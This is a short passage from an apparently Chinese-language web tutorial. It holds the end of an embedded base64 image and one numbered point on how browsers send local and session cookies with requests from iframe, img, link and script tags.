NaXlnYypSJG09h+3JoduoCpDA4d/QEqPfo1T+iYH+KWDl+j7zUxvRojefpAHi/GpqisNOg1kT66ob9mJPnNUvoZTvvBlm4Ql+mJKaMlmK9UXUjpSl2qE5x+z6ZdtUmZjSaTrt1oOeodI4uwyhjNUZOcr6yyUht59XtYsgTDukg3qb4WWW0648+A9NiWdDSmm8ag18TCHS4T/fi3cjynnVgzTS6fEf1hqd8Xdh23QI6sHlVpj2PNW+rvNTGfOHtWupqdQfqZl742Oq3oF2K+OqPZ1adR6SzqM69mjPV1ZTSNZl1W2iqHnw3V+9F60+XwSuViYh7/Gc1SgM+IdLMbbX+OW4yvzI4qlyn1ZEQTwajimg+8fjL9aUI93uQkm7Bw7pOejxKyE5bJKclkpMXymJTfaMuYzOUQ+lO5+i399jT/KF3pJvjxL925GZXZ9s+IdFMnOG7hMBxMAADAQYgmAADAQYgmAADAQYgmAADAQYgmAADAQYgmAADAQYgmAADAQYgmAADAQYgmAADAQYgmAADAQYgmAADAQYgmAADAQYgmAADAQYgmAADAQYgmAADAQYgmAADAQYgmAADAQYgmAADAQYgmAADAQYgmAADAQYgmAADAQYgmAADAQf4/y/YsbGMtQ3AAAAAASUVORK5CYII=" alt="" />

5、另外除了IE浏览器,其他浏览器都可以在<iframe>/<img>/<link>/<script>等标签中发送本地cookie;但是所有浏览器都发送Session Cookie

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